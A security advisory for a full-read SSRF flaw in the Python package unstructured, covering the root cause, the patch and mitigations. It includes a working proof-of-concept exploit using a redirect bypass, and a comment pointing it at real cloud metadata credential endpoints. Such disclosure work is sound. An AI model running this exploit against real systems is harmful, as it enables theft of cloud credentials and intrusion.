critical · 9.3CVE-2026-71428Sep 3, 2026

CVE-2026-71428: unstructured Full-Read SSRF via url= Parameter

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Passing an attacker-controlled URL to unstructured's partition functions causes the server to fetch any internal HTTP address and return its contents as parsed document text, exposing cloud…

Packageunstructured
Ecosystempip
Affected>= 0.4.7, < 0.24.0
Fixed in0.24.0
CVE-2026-71428: unstructured Full-Read SSRF via url= Parameter

The problem

The url= argument of partition(), partition_html(), and partition_md() is passed directly to requests.get() with no host validation and with redirect-following enabled by default.

Because the full response body is parsed and returned as Element text, this is a full-read SSRF: the caller receives the raw content of whatever the server fetched. Every version from 0.4.7 (February 2023) through 0.22.x is affected across all three sinks.

Proof of concept

A working proof-of-concept for CVE-2026-71428 in unstructured, with the exact payload below.

python
# internal_server.py  (run on attacker-controlled or victim-local port 9999)
from flask import Flask, Response, jsonify
app = Flask(__name__)

@app.route("/imds")
def imds(): return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"})

@app.route("/internal.html")
def html(): return Response("<html><body><p>SK_LEAK_42</p></body></html>", mimetype="text/html")

@app.route("/redir")
def redir(): return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"})

if __name__ == "__main__": app.run(host="127.0.0.1", port=9999)


# exploit.py
import unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt
_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or "").split(". ") if s]
_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or "").split()
_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, "NN") for w in (t or "").split()]

from unstructured.partition.auto import partition
L = "http://127.0.0.1:9999"

# Path A: direct internal HTML read
assert "SK_LEAK_42" in "\n".join(str(e) for e in partition(url=f"{L}/internal.html", languages=["eng"]))

# Path B: redirect bypass reaches simulated IMDS
assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{L}/redir", languages=["eng"]))

print("PoC OK")

# In production substitute: http://169.254.169.254/latest/meta-data/iam/security-credentials/
# or http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/

The root cause is the total absence of host validation before the requests.get() call in all three partition sinks (auto.py:303, partition/html/partition.py:160, md.py:96). Python's requests library follows 3xx redirects by default (allow_redirects=True), so an attacker can bypass any naive URL check by pointing to a redirect server that bounces to 169.254.169.254 or any private range.

The patch in 0.24.0 (commit 445c957) added a pre-fetch validator that resolves the hostname, checks the resolved IP against RFC-1918 and link-local ranges, and raises before the socket is opened. This closes the direct-IP and redirect-bypass paths. DNS rebinding (TOCTOU) requires a separate socket-pinning control and is not fully addressed by hostname-check-only guards, but that is a general HTTP-client limitation rather than a gap in this specific fix.

CWE-918 (SSRF) is primary; CWE-601 (Open Redirect) applies to the redirect-bypass exploitation path.

The fix

Upgrade unstructured to 0.24.0 or later. The fix adds pre-fetch IP validation in all three partition sinks, blocking private, loopback, and link-local destinations before the socket is opened. If an immediate upgrade is not possible, pass only pre-validated URLs, strip the url= argument from user-controlled input at the application layer, and enforce egress firewall rules on the host running unstructured to block access to RFC-1918 ranges and link-local addresses (169.254.0.0/16, 100.64.0.0/10).

For AWS deployments, enforce IMDSv2-only on all EC2 instances to prevent credential theft via the IMDS endpoint even if SSRF reaches it.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research